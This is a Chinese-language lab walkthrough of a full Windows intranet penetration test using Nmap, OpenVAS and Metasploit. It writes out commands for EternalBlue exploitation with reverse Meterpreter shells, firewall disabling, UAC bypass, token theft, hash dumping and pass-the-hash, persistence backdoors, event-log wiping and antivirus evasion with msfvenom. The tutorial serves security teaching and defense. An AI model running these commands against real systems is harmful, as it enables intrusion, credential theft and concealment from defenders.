1. 项目概述:一次完整的Windows内网渗透实战演练
最近在带新人做内网安全评估,发现很多朋友对Windows环境的渗透测试流程还是停留在“会用工具扫一下”的阶段,知其然不知其所以然。正好手头有个模拟的实战环境,我就把从信息收集到最终拿到域控权限的完整过程梳理了一遍,核心就是围绕“漏洞扫描”和“MSF提权”这两个关键环节。这不仅仅是工具的使用教程,更重要的是理解每一步操作背后的意图和可能遇到的坑。无论你是刚入门的安全爱好者,还是想巩固流程的安服工程师,这篇实战记录都能给你提供一个清晰的、可复现的路径。我们最终的目标,是理解攻击链,从而更好地进行防御。
2. 环境与目标设定:构建可控的实战沙箱
在真正对客户环境动手之前,建立一个高度仿真的本地测试环境是绝对必要的。这既能让你放开手脚尝试各种技术,又不会引发任何真实风险。
2.1 靶机环境搭建
我选择使用虚拟机来构建整个测试环境,这是最灵活可控的方式。
- 攻击机 (Kali Linux):渗透测试的“武器库”。我使用的是最新的Kali Rolling版本,它预装了Metasploit Framework (MSF)、Nmap、Nessus等我们所需的大部分工具。确保虚拟机网络适配器设置为“NAT”或“桥接”,以便能与靶机通信。
- 靶机1 (Windows 10/11 专业版):模拟一个存在常见配置漏洞的办公主机。我会故意进行一些“不安全”的设置,例如关闭Windows防火墙、启用某些老旧服务(如SMBv1)、使用弱口令账户,并安装一个存在已知漏洞的旧版软件(如老版本的PDF阅读器或办公套件)。
- 靶机2 (Windows Server 2016/2019):模拟内网中的一台服务器,可能承载着Web应用或文件共享服务。这台机器将配置更多的网络服务,并加入一个模拟的域环境,为后续的横向移动和提权创造场景。
注意:所有靶机的快照功能务必开启。在进行高风险操作(如漏洞利用)前,创建一个干净的快照。一旦操作失败或环境被破坏,可以瞬间回滚,节省大量重建时间。
2.2 网络与目标规划
我将三台虚拟机置于同一个虚拟网络(例如VMware的“自定义”虚拟网络或VirtualBox的“内部网络”)中,确保它们彼此互通。
- 攻击机IP:
192.168.52.128(Kali) - 靶机1 IP:
192.168.52.130(Win10) - 靶机2 IP:
192.168.52.131(WinServer)
本次实战的核心目标是:从外部网络(攻击机)出发,首先探测并攻破Win10靶机,将其作为跳板,进一步探测内网,最终在WinServer靶机上获取最高权限(SYSTEM或域管理员),完成对整个模拟内网的“突破”。
3. 信息收集:渗透测试的“侦察兵”阶段
在发动任何攻击之前,充分的信息收集是成功的一半。这个阶段的目标是绘制一张尽可能详细的目标网络地图。
3.1 主机发现与端口扫描
首先,我们需要找到目标并了解它们开放了哪些“门”。
# 使用Nmap进行存活主机扫描,确认目标IP是否在线 sudo nmap -sn 192.168.52.0/24 # 针对发现的存活主机(192.168.52.130)进行快速端口扫描,识别开放端口 sudo nmap -sS -T4 192.168.52.130-sS代表TCP SYN扫描,一种半开放扫描,速度较快且相对隐蔽。-T4指定扫描速度。扫描结果可能会显示开放了135(RPC)、139/445(SMB)、3389(RDP)等典型Windows端口。
3.2 服务与版本探测
知道门开了还不够,还得知道门后是谁。
# 对开放端口进行更深入的版本探测和脚本扫描 sudo nmap -sV -sC -p 135,139,445,3389 192.168.52.130-sV: 探测服务及版本信息。-sC: 使用默认的Nmap脚本引擎进行扫描,能发现一些常见漏洞或配置信息。-p: 指定扫描的端口。
这个步骤可能告诉我们,目标运行的是Windows 10 Enterprise,SMB服务版本是SMBv2,并且可能通过脚本发现一些有用的信息,比如共享目录列表(如果允许匿名访问的话)。
3.3 漏洞扫描:自动化工具的利与弊
信息收集到一定程度,可以引入自动化漏洞扫描器进行初筛。
Nessus / OpenVAS:这是专业的漏洞扫描工具。我在这里使用OpenVAS(开源版本)为例。
- 在Kali上安装并启动OpenVAS,通过Web界面(
https://127.0.0.1:9392)登录。 - 新建一个扫描任务,目标地址填入
192.168.52.130,选择“Full and fast”扫描策略。 - 启动扫描并等待报告。
扫描报告会列出所有发现的漏洞,按风险等级(Critical, High, Medium...)排序。它可能会指出:MS17-010 (EternalBlue)漏洞、SMB签名未强制启用、RDP服务暴露、或某个旧版软件存在远程代码执行漏洞等。
实操心得:自动化扫描报告是很好的“线索清单”,但绝不能完全依赖。它会产生大量误报(False Positive)和无关紧要的低危漏洞。我的习惯是,优先关注那些有公开利用代码(Exploit)、且能直接导致远程代码执行(RCE)或权限提升(PE)的“高危”和“严重”漏洞。同时,要手动验证关键发现。
4. 漏洞利用与初始访问:敲开第一扇门
拿到扫描报告后,我们选择最具威胁的漏洞作为突破口。假设扫描报告显示目标存在MS17-010(永恒之蓝)漏洞,且445端口开放。
4.1 利用MSF进行漏洞攻击
Metasploit Framework (MSF) 是我们的核心武器库。
# 启动MSF控制台 msfconsole # 搜索与MS17-010相关的模块 search ms17-010 # 使用永恒之蓝漏洞利用模块 use exploit/windows/smb/ms17_010_eternalblue # 查看需要设置的参数 show options # 设置目标主机 set RHOSTS 192.168.52.130 # 选择载荷(Payload),我们想要一个反向Shell连接回攻击机 set payload windows/x64/meterpreter/reverse_tcp # 设置攻击机监听IP(LHOST)和端口(LPORT) set LHOST 192.168.52.128 set LPORT 4444 # 执行攻击 exploit如果漏洞利用成功,我们将看到Meterpreter会话被建立(meterpreter >提示符)。这意味着我们已经成功在目标系统上执行了代码,并获得了一个交互式的Shell。
4.2 初始立足点的巩固
拿到一个Meterpreter会话后,第一件事不是乱跑,而是先稳固这个连接。
# 查看当前会话信息 sysinfo getuid # 查看当前权限,很可能是某个用户级权限(如`NT AUTHORITY\SYSTEM`?如果是,则已提权,但通常初期是普通用户) # 将当前进程迁移到一个更稳定的进程(如explorer.exe)中,防止会话因进程退出而中断 ps # 列出进程 migrate <explorer.exe的PID> # 关闭目标系统的防火墙(为后续操作扫清障碍) run post/windows/manage/enable_rdp # 或者使用命令 shell netsh advfirewall set allprofiles state off exit5. 权限提升:从普通用户到系统管理员
在Windows中,初始突破获得的往往是普通用户权限。要完全控制系统,必须进行权限提升(Privilege Escalation)。
5.1 本地信息枚举
在尝试提权前,我们需要了解系统的详细情况。
# 在Meterpreter会话中运行本地枚举脚本 run post/windows/gather/enum_logged_on_users run post/windows/gather/enum_patches # 查看已安装的补丁,找出缺失的补丁 run post/multi/recon/local_exploit_suggester # MSF自带的提权建议模块,会根据系统信息推荐可用的本地提权模块local_exploit_suggester模块的输出至关重要,它会列出所有可能适用于当前系统的本地提权漏洞。
5.2 利用本地漏洞提权
假设建议列表中包含exploit/windows/local/bypassuac_eventvwr(一个常见的UAC绕过漏洞)。
# 背景化当前的Meterpreter会话 background # 使用提权模块 use exploit/windows/local/bypassuac_eventvwr show options # 设置会话(SESSION)参数为刚才背景化的会话ID(通常是1) set SESSION 1 set LHOST 192.168.52.128 # 执行提权 exploit如果成功,你会获得一个新的Meterpreter会话。再次运行getuid,如果显示NT AUTHORITY\SYSTEM,恭喜你,已经拿到了Windows最高权限。
5.3 其他常见的提权路径
除了漏洞利用,还有多种“非漏洞”提权方法:
- 服务路径提权:如果一个以SYSTEM权限运行的服务,其可执行文件路径包含空格且未被引号包裹,同时我们对路径中的目录有写权限,就可以劫持该服务。
# 在Meterpreter中,上传一个恶意exe到可写目录,并将其重命名为路径中空格前的程序名(如`common.exe`)。 # 然后重启服务,系统会运行我们的恶意程序。 - AlwaysInstallElevated:如果组策略中启用了
AlwaysInstallElevated,那么任何用户都可以以SYSTEM权限安装MSI包。我们可以制作一个包含后门的MSI文件进行安装。# 检查注册表项 shell reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - 令牌窃取(Token Impersonation):如果当前用户具有
SeImpersonatePrivilege权限(常见于服务账户),可以直接窃取SYSTEM令牌。在Meterpreter中,可以使用incognito模块。load incognito list_tokens -u # 列出可用令牌 impersonate_token "NT AUTHORITY\\SYSTEM" # 窃取SYSTEM令牌
6. 内网横向移动:扩大战果
拿下第一台主机后,我们的视野从单点扩展到整个内网。
6.1 内网信息再收集
以第一台攻陷的主机(192.168.52.130)为跳板,探测内网其他主机。
# 在Meterpreter会话中添加通往内网`192.168.52.0/24`网段的路由 run post/multi/manage/autoroute CMD=add SUBNET=192.168.52.0 NETMASK=255.255.255.0 # 背景化会话,让MSF的后续模块能通过这个路由访问内网 background # 使用MSF的端口扫描模块对内网进行扫描 use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.52.0/24 set PORTS 445,3389,80,443 run6.2 密码哈希抓取与破解
Windows系统将用户密码的哈希值存储在SAM数据库或内存中。获取这些哈希是横向移动的关键。
# 在已提权的Meterpreter会话中抓取哈希 hashdump # 或者使用更强大的Mimikatz脚本 load kiwi lsa_dump_sam lsa_dump_secrets抓取到的哈希格式通常是NTLM或NTLMv2。我们可以使用John the Ripper或Hashcat进行破解。如果密码强度不高,很可能被破解。
6.3 传递哈希攻击
即使无法破解密码,如果内网中其他机器有相同的本地管理员密码(这是一种常见的不安全配置),我们可以直接使用哈希进行认证,无需明文密码。
# 在MSF中,使用psexec模块进行哈希传递攻击 use exploit/windows/smb/psexec set RHOSTS 192.168.52.131 # 内网另一台服务器 set SMBUser Administrator set SMBPass <抓取到的Administrator的NTLM哈希值> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.128 # 注意,这里的LHOST需要是攻击机IP,但会话会通过跳板路由回来 set LPORT 5555 exploit如果成功,我们将直接获得192.168.52.131服务器的SYSTEM权限会话。
7. 后渗透与权限维持
在完全控制目标后,需要留下后门,以便日后再次访问。
7.1 创建持久化后门
Meterpreter提供了多种持久化方式。
# 方法1:通过服务创建后门 run persistence -X -i 30 -p 443 -r 192.168.52.128 # -X 开机自启, -i 30秒连接间隔, -p 监听端口, -r 攻击机IP # 此命令会在目标机创建一个服务,定期连接我们的攻击机。 # 方法2:计划任务 run scheduleme -m 1 -e /tmp/backdoor.exe -o -h 19 -t 30 # 创建计划任务,在每天19:30执行后门程序。 # 方法3:注册表启动项 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v Update -d 'C:\\backdoor.exe'7.2 痕迹清理
在授权测试结束后,或需要隐蔽行动时,清理痕迹很重要。
# 清除Windows事件日志 clearev # 在Meterpreter中直接运行,会清除应用程序、系统和安全日志。 # 删除上传的工具和创建的文件 shell del C:\\path\\to\\uploaded_file.exe8. 常见问题与排查技巧实录
在实际操作中,绝不会一帆风顺。下面是我总结的一些常见“坑”及解决方法。
8.1 漏洞利用失败
- 问题:执行
exploit后,返回Exploit failed: No session was created。 - 排查:
- 目标免疫:首先确认目标系统是否真的存在该漏洞。用
auxiliary/scanner/smb/smb_ms17_010等检测模块再扫一遍。可能系统已打补丁,或版本不匹配。 - 防火墙/杀软拦截:即使漏洞存在,利用载荷(Payload)也可能被实时防护拦截。尝试使用编码器对Payload进行混淆(MSF的
msfvenom工具),或使用windows/meterpreter/reverse_https等更隐蔽的Payload。 - 网络不稳定:反向连接可能因为网络问题失败。尝试使用
bind_tcp正向连接(需目标能直连攻击机),或调整LPORT为更常见的端口(如80、443)。
- 目标免疫:首先确认目标系统是否真的存在该漏洞。用
- 技巧:在
exploit命令前加上set VERBOSE true,可以输出更详细的调试信息,帮助定位问题。
8.2 Meterpreter会话不稳定或中断
- 问题:会话经常突然断开,特别是进行文件传输或执行耗时命令时。
- 解决:
- 进程迁移:这是首要操作。尽快迁移到像
explorer.exe,svchost.exe这类稳定且长期存在的系统进程。 - 设置心跳:在生成Payload时,使用
set SessionCommunicationTimeout 300和set SessionExpirationTimeout 604800来延长会话超时时间。 - 使用更稳定的传输:
reverse_https和reverse_winhttp通常比普通的reverse_tcp更稳定,能更好地穿透代理和防火墙。
- 进程迁移:这是首要操作。尽快迁移到像
8.3 哈希传递攻击无效
- 问题:使用抓取的哈希进行
psexec攻击,返回STATUS_LOGON_FAILURE。 - 排查:
- 目标系统版本:Windows Server 2012 R2及更高版本默认启用了“受限管理模式”,会阻止使用本地账户哈希进行网络登录。需要修改注册表
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System下的LocalAccountTokenFilterPolicy值为1(在已控机器上),或者使用域账户哈希。 - 管理员共享:确保目标的
ADMIN$共享是可访问的。防火墙可能屏蔽了445端口或相关共享。 - 哈希类型:确认使用的是
NTLM哈希,而不是LM哈希。hashdump抓取的一般是NTLM。
- 目标系统版本:Windows Server 2012 R2及更高版本默认启用了“受限管理模式”,会阻止使用本地账户哈希进行网络登录。需要修改注册表
8.4 内网路由问题
- 问题:添加了路由(
autoroute),但后续模块(如内网扫描)依然无法访问内网主机。 - 解决:
- 确认路由:使用
route print命令查看MSF中的路由表是否正确添加。 - 使用Socks代理:对于不支持MSF路由的第三方工具(如Nmap图形版),需要建立Socks代理。
然后在你的系统或浏览器中配置代理为# 在MSF中启动Socks5代理模块 use auxiliary/server/socks_proxy set VERSION 5 run127.0.0.1:1080,这样所有流量就会通过Meterpreter会话进入内网。 - 权限问题:确保用于建立路由的Meterpreter会话具有足够的权限。
- 确认路由:使用
8.5 杀毒软件规避
这是实战中最棘手的环节之一。
- 静态免杀:使用
msfvenom生成Payload时,一定要编码和混淆。msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.52.128 LPORT=443 -e x64/shikata_ga_nai -i 10 -f exe -o payload.exe-i 10表示迭代编码10次。但这只是基础,现代杀软很容易查杀。 - 动态免杀:更有效的方法是使用
Cobalt Strike,Empire等更先进的框架生成Payload,或者自己编写Shellcode加载器(Loader),使用内存加载、API动态解析、代码加密等技术。 - 行为规避:Meterpreter的一些命令(如
keyscan_start,webcam_snap)会触发敏感行为告警。在高度防护的环境下,动作要轻,优先使用系统自带的命令(通过shell调用)来完成信息收集。
整个渗透测试过程就像一场精心策划的“外科手术”,每一步都需要耐心、细致和对技术的深刻理解。从漏洞扫描的线索发现,到MSF的精准利用,再到内网的迂回渗透,最后实现权限的巩固与维持,环环相扣。真正的价值不在于成功运行了几个模块,而在于理解每个动作背后的原理和防御方可能采取的应对措施。我个人的体会是,防守方如果能够严格按照最小权限原则、及时打补丁、部署有效的网络分段和终端检测,攻击者的每一步都会变得异常艰难。这份实战记录,希望能为你的安全学习之路提供一张清晰的导航图,更希望能帮助你从防御的视角,构建更坚固的防线。